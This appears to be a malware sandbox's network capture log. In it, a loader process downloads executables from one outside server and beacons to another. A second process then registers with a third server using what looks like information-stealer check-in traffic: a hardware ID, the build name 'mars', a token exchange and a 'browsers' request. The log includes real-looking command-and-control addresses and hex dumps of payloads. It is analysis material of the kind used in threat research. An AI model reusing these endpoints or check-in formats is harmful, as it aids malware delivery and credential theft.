Nov 21, 2024 14:11:23.010509968 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 21, 2024 14:11:23.010593891 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 21, 2024 14:11:23.010627985 CET	1236	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 21, 2024 14:11:23.010729074 CET	1236	IN	Data Raw: 08 0e d1 7d 8a 52 c9 be 69 d8 e5 9d d1 00 d0 55 c5 87 82 ce d7 d1 ca 69 be fd 71 99 5c 54 66 4b a1 cd b8 e2 c2 02 78 bf e6 ef 7a 01 4c 6a 15 3c 0f 62 bb bf 8b 54 2c bd de f4 05 20 5a ec 24 3a 37 f4 55 5a 34 8e 12 75 e9 4f 2e 0a 95 45 cc 01 f9 66 Data Ascii: }RiUiq\TfKxzLj<bT, Z$:7UZ4uO.Ef&`z#"][mmJ4(t<d:TAGtNn)CD,p^i8V"Y=er>`QQ29_%q2/"MX(`OsTAt\@`x
Nov 21, 2024 14:11:23.010765076 CET	736	IN	Data Raw: e5 79 5d 24 42 ce 7c 56 10 26 41 55 fe de 3b 20 03 b1 c2 47 63 14 61 88 83 5f 30 ee c8 0f b1 bd ce 17 88 b0 c9 58 84 eb 93 99 2e f1 0f 64 62 cc ee 57 41 66 2c 6e 3b 90 2c 15 48 64 e3 81 84 5e ed f5 9c 3e 83 42 a3 05 be 47 02 f2 87 c0 5c 51 8f 8b Data Ascii: y]$B\|V&AU; Gca_0X.dbWAf,n;,Hd^>BG\QI)g\|RIS\|j=b@//}{2Gf\|3U^h3H8l1p]Nq$`T>=[[&7+$?+yk9}3.x;FcQ
Nov 21, 2024 14:11:23.129478931 CET	1236	IN	Data Raw: 5c 26 d9 e1 02 59 d6 5a 88 fc 21 bc 6a 50 3d 20 ca dd bd 3e 4b bb 5a 21 bb b6 e9 ca cf 38 bb 14 28 8c 0d 1f 97 cc 56 3f 18 41 7a 1d 1a 9d 67 4a 85 5b 92 8b 3b 1e bf d8 44 8a 35 69 2b 1e 56 16 fc 59 b3 36 40 c3 4f 78 27 8d f3 52 56 ff 2a 78 b3 c8 Data Ascii: \&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%DvRXVi?_81HVma(u<hVxv2oj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49905	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:22.301546097 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 14:11:23.649384975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:23 GMT Content-Type: application/octet-stream Content-Length: 1841152 Last-Modified: Thu, 21 Nov 2024 13:00:34 GMT Connection: keep-alive ETag: "673f2ef2-1c1800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 04 24 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 16 04 00 00 be 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 43 46 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$?gPI@ICF@\pp `f@.rsrcpv@.idata x@ 0*z@zkcxhtkx/v\|@aryoitqh@I@.taggant0PI"@
Nov 21, 2024 14:11:23.649427891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:23.649440050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:23.649502993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:23.649513960 CET	1236	IN	Data Raw: d1 f9 ca 82 4e 93 b0 4c 2c b3 98 6c 05 bc a5 bc 75 b8 42 24 13 41 83 fe a7 10 63 7d 68 55 17 cc f7 47 cd 57 56 72 52 03 68 b9 da ab 32 42 c9 3c ae f2 3a 4b 68 51 9a ed 61 c0 2d 01 c2 5e 56 c5 9b 51 c1 d0 f8 78 b5 47 f4 7f a4 61 ed 8a 59 d2 66 93 Data Ascii: NL,luB$Ac}hUGWVrRh2B<:KhQa-^VQxGaYfajg#uMH7T?:b1ZfW_w005C]tWY\|wcHz~BbzR]P1[wipvP7`MoLZ#vLTMUG+w02!jS_spA
Nov 21, 2024 14:11:23.649523973 CET	1236	IN	Data Raw: ac 96 d2 4b 50 42 e1 a2 35 f1 9a af 3a 48 65 4d 75 7d c1 9a 28 4e 9c 0d a6 61 c4 1a 10 3a c7 29 51 7f b4 4d 45 17 ea a5 f6 8d 10 87 99 3a 5a 11 21 9b 58 8b 75 fe ee df 80 ed 71 00 08 77 8e 4b f0 18 c1 75 28 ea f4 db 4d c2 4f da 12 71 da fc 54 2d Data Ascii: KPB5:HeMu}(Na:)QME:Z!XuqwKu(MOqT-k[4?TSfU`hS{WPb`7Az}}H+d 1[ytBr%l"uWGQUwzZV-0}7m3`_[Ab?JgCDmkByn;Z
Nov 21, 2024 14:11:23.649537086 CET	1236	IN	Data Raw: 74 3e 72 d3 79 64 31 df c6 3e 73 1c 85 58 e6 f9 95 17 d5 5f a4 3b 17 b2 ab 30 69 bf 6e 78 53 9a a8 b6 d5 24 83 05 67 22 a7 0a 95 52 48 43 7e bb e2 c3 91 f2 3e d7 5b 42 da b0 20 50 27 74 59 86 e6 59 59 24 41 4b 61 23 45 58 24 fb 37 0e 7a ec 71 e1 Data Ascii: t>ryd1>sX_;0inxS$g"RHC~>[B P'tYYY$AKa#EX$7zq-yy]=pZaW/Od2&7,I;NBdE[>9<4O.WC\|4C\6#>TW-XN[*=;<'bx>wyk!mZ3Q>vbwF`~ZWTnLa=}
Nov 21, 2024 14:11:23.649697065 CET	1236	IN	Data Raw: 79 f2 ab 19 66 5d 91 fb 02 83 64 c0 97 53 95 b1 cf 43 e6 c3 fe 4f d9 53 71 a9 de 8d f5 39 71 63 36 19 5c 5b 99 a9 bb 7d 66 38 8d 26 98 08 d2 23 a1 7c bc 25 0e 6e 4f 3f ba 17 ea 44 85 54 a5 f8 80 3b ec a8 ae 4e c1 ba 3f a9 79 7b d9 4d dc 87 da 18 Data Ascii: yf]dSCOSq9qc6\[}f8&#\|%nO?DT;N?y{Ml"8}$[n@EDOMAlHJ&ETxGsX)08 u&Zx?AhuI])mSscQc7zsRyZGc\EfdERqq3jjj@s&1/8E+oS8w
Nov 21, 2024 14:11:23.649708986 CET	1236	IN	Data Raw: b5 77 2e dc 9d 73 3a 9e 36 3a da 39 af ec 59 6f 9c a5 64 be e2 43 9b 18 78 f8 a5 4f f2 7e 50 f6 3f 21 a6 2a 86 f4 91 b0 bb bb 46 4e 83 62 0d 6d 6b 30 5a 11 7f 4c 43 60 47 37 db a2 80 1a eb 89 a2 38 93 7a b9 8b d5 f2 73 82 3a 09 ea b9 d2 b9 b3 26 Data Ascii: w.s:6:9YodCxO~P?!*FNbmk0ZLC`G78zs:&z;wp>U/Kz2/jBo4W>W]nN\|;c9Ch}v1z[Gf$\n!{uPYV%DS'qbk$.TY`=p4?0[XXnT@:b
Nov 21, 2024 14:11:23.649720907 CET	1236	IN	Data Raw: 8e 2a 65 c4 e3 87 5e b8 c1 a3 1f 12 97 1a 5b 07 ce b0 c5 41 30 40 54 f3 39 1a 57 29 e6 f0 60 a4 4d 40 93 bc 71 f0 3e 4f ee 18 80 56 34 e9 68 20 21 a7 81 61 66 f4 d2 1f 47 ed 92 7b 52 3a af 83 8a 58 39 60 b3 18 73 ad ba 4f bb fb fd 87 fe f5 79 46 Data Ascii: *e^[A0@T9W)`M@q>OV4h !afG{R:X9`sOyF!g8]Ct'PT;jy{cAO6kIV&Iah]-G?{Izye=rejOMLo{gf`qA&8$w6stMltawV[X~
Nov 21, 2024 14:11:23.769309044 CET	1236	IN	Data Raw: c1 5d 57 a3 81 c0 94 d1 11 1f 94 44 af d2 aa 60 b9 46 a1 e2 c9 61 9f a7 8c a5 f0 c3 b1 af ca 83 ee 22 53 26 9e b2 21 ba e4 7e 51 6c 37 68 2a 55 27 a1 55 e4 0e fa cf 4d 32 db c8 7b 07 4e c5 44 57 3e 27 a9 68 77 91 57 68 7f 34 51 50 93 b0 91 b5 8f Data Ascii: ]WD`Fa"S&!~Ql7h*U'UM2{NDW>'hwWh4QPyiJ}6\|>v!g0uBB Q[4KuEd~5_&iSf~<f_{-K{}B,f\..yC(>}@4C-Ck,c4$fX5b?E#VY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49921	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:29.129816055 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 39 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007936001&unit=246122658369
Nov 21, 2024 14:11:30.566051006 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49927	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:30.787879944 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 14:11:32.066731930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:31 GMT Content-Type: application/octet-stream Content-Length: 1771008 Last-Modified: Thu, 21 Nov 2024 13:00:41 GMT Connection: keep-alive ETag: "673f2ef9-1b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 f0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 68 00 00 04 00 00 c4 8b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"g@ h@M$a$$ $b@.rsrc$r@.idata $t@ )$v@smwmjzkyppNfx@galsdkjyg@.taggant0g"@
Nov 21, 2024 14:11:32.066787958 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:32.067584038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:32.067603111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:32.067615986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:32.067692995 CET	1236	IN	Data Raw: e8 6a 69 ec 36 22 a2 1f a5 f2 1d 80 2e c6 01 76 e4 8d a6 12 32 c7 78 17 58 71 f1 9a b6 bd e3 ec f5 0e 94 a4 0c 2f 9b 6c a7 e6 d1 08 6c 3d b8 3d a7 03 e9 86 df 81 79 a0 26 74 0e e2 95 a2 e4 63 0c 70 49 89 3e 7a a7 1e 60 7e 5f e8 35 a6 5d c8 b1 90 Data Ascii: ji6".v2xXq/ll==y&tcpI>z`~_5]"u^y+j.q)StUx=AYbQVP#-Xjx>a`iRjYE3F0~uVz1XUeVdTKv=]XIb6xwn9
Nov 21, 2024 14:11:32.067703962 CET	1236	IN	Data Raw: e3 a5 c8 88 ad 7c 95 93 40 f0 27 20 a0 6d 23 55 6d 04 9a 64 b6 af 61 75 9e ae d6 16 a5 22 21 05 f5 42 ef 37 f0 4d 1e 60 d2 f9 c1 1b ff 4d 1d e4 6c 61 71 83 42 07 52 8e 91 bc f6 ba b9 76 39 ab a8 07 8d 27 73 d5 a0 ee 51 3e e9 11 88 47 21 a4 8a 26 Data Ascii: \|@' m#Umdau"!B7M`MlaqBRv9'sQ>G!&Y8u+nOc%A=@g"'UWcT,6W-m68a29z}`I1+OmJB3MK>t>&sPhyCOQsYozf&rB
Nov 21, 2024 14:11:32.067715883 CET	1236	IN	Data Raw: 57 ba 29 f3 a9 f9 39 e0 61 82 76 02 fc b0 54 71 29 9a 2a 41 37 89 96 83 89 be a0 a5 2f 1d 24 08 a8 8c b6 dd ad 04 3e 8c 54 f8 6f 20 5a 82 d2 1f c0 7a 5e 96 53 b9 29 80 f0 8c 2a 74 2e 0a 89 d3 cf 95 58 da 81 91 16 8f 55 4a 2e 4a 53 39 de 83 5f 44 Data Ascii: W)9avTq)A7/$>To Zz^S)t.XUJ.JS9_D.+BQ1}`,6X,9Lybh-8Zay7[),ygwZ?+M*kt?46t77:W>=HOXh\f>rT[XU)j^V]1P.
Nov 21, 2024 14:11:32.067728043 CET	1236	IN	Data Raw: 13 a2 3c a2 60 3a 58 8c 99 90 bf 2f 20 7b 01 8f 20 4f d6 cb 5b ea 9d bd 91 78 58 4d 70 7b 22 dc 4b 96 07 8a 89 05 28 57 2b 8c 30 1c 7d fa 2c c4 77 a6 a6 bf ca 90 36 00 29 8c 2a 00 28 5e 5e 0b 4b 70 21 20 34 8c d2 bd 11 7e 84 14 60 7b a2 8a 51 89 Data Ascii: <`:X/ { O[xXMp{"K(W+0},w6)(^^Kp! 4~`{QXtW.z8.fRY)I,hjwRB@:Ib,5Zw>,K.=gXJx~wZi]_!9d~u2H?L/"}nMX*!AZ9T
Nov 21, 2024 14:11:32.067805052 CET	1236	IN	Data Raw: cd b0 f6 04 54 22 3d 1a 14 2a 9d b1 e9 42 89 f3 50 08 43 1c 8c ad 3e 82 5b e2 5f 8b 35 bc a3 ba b9 aa 38 ae 77 b2 39 e5 49 4f 38 80 7b 41 36 8e f0 04 28 cf a0 8e 5e 26 a8 8c 62 da cd 7a 3e d9 54 f8 f3 fb 5b 82 86 03 d4 bd 41 fa 2a 6a 9e b1 29 91 Data Ascii: T"=BPC>[_58w9IO8{A6(^&bz>T[Aj)(X6('$)%1\|gBPZN-y[:U* : pH3I8\(J^,0-y0EF(vXX.cIB9:w(#7jVdP-`~,BB
Nov 21, 2024 14:11:32.186450958 CET	1236	IN	Data Raw: a7 8a 9e b1 19 90 74 8a f0 0f 3e da 5b aa 29 c0 6a 57 72 dc 59 3e a2 b6 5b 11 2a 28 28 a0 61 1f a4 7e 22 8e d9 bd 7e 80 77 96 61 1f 93 26 22 8e fd b0 16 04 56 fc 18 4d 32 0e e6 b2 50 ce 21 14 2e 79 05 9a 58 84 f6 c0 5b ca 5c 90 ab a3 f3 9a 47 c6 Data Ascii: t>[)jWrY>[*((a~"~wa&"VM2P!.yX[\GRcf1p&bt'8]>X$7ZU.PFt\)Ph^/B"!O7= P_q<cA:vr7$,4^O=.1x]@$6,y9lWP\~,{Xqr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49947	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:37.985461950 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 39 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007937001&unit=246122658369
Nov 21, 2024 14:11:39.330220938 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49949	185.215.113.206	80	5412	C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:38.413261890 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 14:11:39.812745094 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 14:11:39.815013885 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 46 43 35 42 38 43 39 44 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="hwid"0BFC5B8C9DB3476522507------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="build"mars------FHIEBKKFHIEGCAKECGHJ--
Nov 21, 2024 14:11:40.283706903 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 52 6c 4d 6d 56 6a 4e 54 41 78 4f 44 6b 30 4d 6a 55 32 4e 54 5a 68 59 7a 46 6c 59 7a 63 77 4f 44 4a 6d 4d 54 42 6b 5a 54 51 30 4d 54 4e 6b 4e 54 42 6b 59 7a 6c 68 4d 32 4e 69 4f 57 5a 69 59 54 4e 6c 4d 6a 41 7a 4d 44 4d 32 5a 6a 64 68 4d 6d 4d 30 4d 47 4d 32 4e 6a 42 6a 59 54 41 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGRlMmVjNTAxODk0MjU2NTZhYzFlYzcwODJmMTBkZTQ0MTNkNTBkYzlhM2NiOWZiYTNlMjAzMDM2ZjdhMmM0MGM2NjBjYTAxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 21, 2024 14:11:40.284797907 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 35 30 31 38 39 34 32 35 36 35 36 61 63 31 65 63 37 30 38 32 66 31 30 64 65 34 34 31 33 64 35 30 64 63 39 61 33 63 62 39 66 62 61 33 65 32 30 33 30 33 36 66 37 61 32 63 34 30 63 36 36 30 63 61 30 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="message"browsers------AFHDGDGIIDGCFIDHDHDH--
Nov 21, 2024 14:11:40.743335009 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 